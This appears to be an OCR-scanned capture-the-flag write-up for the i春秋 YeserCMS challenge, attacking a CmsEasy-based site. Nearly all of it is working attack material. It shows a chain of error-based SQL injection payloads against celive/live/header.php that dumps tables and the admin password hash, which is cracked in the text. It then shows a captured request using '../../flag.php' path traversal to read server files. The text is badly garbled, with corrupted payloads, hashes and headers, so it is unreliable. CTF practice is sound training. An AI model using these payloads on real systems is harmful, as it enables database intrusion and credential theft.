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Kikurl:

http://localhost/Cmseasy/celive/Live/header.php

postdata:

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx
%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%2521%252a%252a%252FfGROUP_CONCAT%2528c¢
oncat%2528username’%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520cmseasy_user%2529%252C1%252C32%2529%2
52C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>

HEAARFEN:
JRPE:

xajax=Postdata&xajaxargs[0]=<xjxquery><qg>detail=xxxxxx"', (UpdateXML(1,CONCAT (0x5b,mid((select/**/group_concat(dat
abase()) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

XPATH syntax error: '[Yeser]'

BR, BIKARM31

xajax=Postdata&xajaxargs[0@]=<xjxquery><qg>detail=xxxxxx", (UpdateXML(1,CONCAT(0Ox5b,mid((select/**/group_concat(tab
le_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL
,NULL)-- </g></xjxquery>

xajax=Postdata&xajaxargs[0@]=<xjxquery><qg>detail=xxxxxx", (UpdateXML(1,CONCAT(0Ox5b,mid((select/**/group_concat(tab
le _name) from information_schema.tables where table_schema=database()),32,32),0x5d),1)),NULL,NULL,NULL,NULL,NUL
L,NULL)-- </g></xjxquery>

XPATH syntax error: '[yesercms_a_attachment, yesercms '

[yesercms_a_attachment,yesercms_a_comment,yesercms_a_rank,yesercms_a_vote,yesercms_activity,yesercms_announcemen
t,yesercms_archive,yesercms_assigns,yesercms_b_arctag,yesercms_b_area,yesercms_b_category,yesercms_b_special,yeserc
ms_b_tag,yesercms_ballot,yesercms_bbs_archive,yesercms_bbs_category,yesercms_bbs_label,yesercms_bbs_reply,yesercms
_chat,yesercms_departments,yesercms_de
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xajax=Postdata&xajaxargs[0]=<xjxquery><qg>detail=xxxxxx"', (UpdateXML(1,CONCAT(Ox5b,mid((select/**/group_concat(col
umn_name) from information_schema.columns where table name='yesercms_user'),1,32),0x5d),1)),NULL,NULL,NULL,NULL,
NULL,NULL)-- </g></xjxquery>

XPATH syntax error: '[userid, username, password, nickna’
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xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx", (UpdateXML(1,CONCAT(0Ox5b,mid((select/**/group_concat(use
rname,password) from yesercms_user),32,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </g></Xjxquery>

xajax=Postdata&xajaxargs[0]=<xjxquery><qg>detail=xxxxxx"', (UpdateXML(1,CONCAT (0x5b,mid((select/**/group_concat(use
rname, password) from yesercms_user),32,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </g></xjxquery>

XPATH syntax error: '[adminff512d4240cbbdeafadad04677"

XPATH syntax error: '[ccbeb1]’

adminff512d4240cbbdeafadad404677ccbebl
md5f# 5%

admin-Yeser231
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o JR4&5ZIFH: Apache/2.2.15 (Cent0S)
o BEBIP: 172.17.140.137
o LETAzEET: cn
o ZEARAzE: M
Z s A YeserCMS 4_5_0_20120309_UTF8 Eids&
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jRaw | Params | Headers | Hex |

POST /index. php?case=templatefact=fetch&admin_dir=admin&site=default HTTP 1.1

Host: ef0839280beb42dbaePc5727eb2b173f5430009bc24e4375. changame. ichungiu. com

User—-Agent: Mozilla/5. 0 (Windows NT 10.0; Winéd; x64; rv:70.0} Gecko /20100101 Firefox/70.0

Accept: application/json, text/javascript, */#%

Accept-Language: zh-CN, zh;g=0. 8, zh-TW;g=0. 7, zh-HK:q=0. 5, en-U3;g9=0. 3, en;q=0. 2

Accept—Encoding: gzip, deflate

Content-Type: application/sx—waw—form—urlencoded

X-Requested-With: XMLHttpRequest

Content-Length: 14

Origin: http://ef0839280bebd2dbaeFch727eb2b173f5430009bc24e4375. changame. ichungiu. com

Connection: keep—aliwve

Referer:
http://ef0839280beb42dbaefc5727eb2b17315430009bc24e4375. changame. ichungiu. com/index. php?case=templatefact=edit&admin_dir=admin&sit
e=default

Cockie: Hm_lvt_2d0601bd2Bde7d49818249cT35d95943=1582247119, 1582275956, 1582342433, 1582420897,
UM_distinctid=170561b6FB5238-0c0053833a3127-4c302b7a-144000-17056106F87c9; chkphone=acWxNpxhQpDiAchhNuSnEgy i QuD 100000,
ci_session=57135101F2d19eadf50b465a%ed416debbeaatac; Hm_lpvt_2d0601bd2Bde7d49818249cT35d95943=1582425519;

PHPSESS | D=26803ce?b2d3a00B8df?0dfecB7ePadab; __jsluid_h=cBO0ddétePcfclbalb3sV7ifa2ffoBd00Z; login_username=admin;
login_password=a94fBd9844¢391a79ae9dbPaad1d2cdd; style=skinZ;
passinfo=%ES%85%ED%EE%BANBIYETHREFHEB+53Ca+hrefhiDh22httph3A%ZF%2Fwww, cmseasy. cnhZFservice_1. htm|%22+targetX3D%22_blank%22%3E%3Cfon
t+colorh3D%22greenk22%3EN28%EB%B4%ADSEASBFSBOSESHBELBELEAYTDAEIN2FHICHZF fontHhIESICH2Fa%3E

&id=#left_html

BN .. /.. /flag.php

{"content” : "<{textarea rows=""20%" cols=""78'" id=\"..\/ .\/flag php_content\” style='"font-family: Fixedsys, verdana, ¥ &;
font-size: 12Zpx;:\" name=\".. /. . \/flag. php_content'"><7phpnecho "flag is
here':%n'flag{d?2cbccd-19b3-464b-a9f4-dBoFeefodfP1] " \nd\/textarear"]



	i春秋-百度杯九月场-YeserCMS
	一，判断cms：
	二，查找easycms曾经出现的漏洞

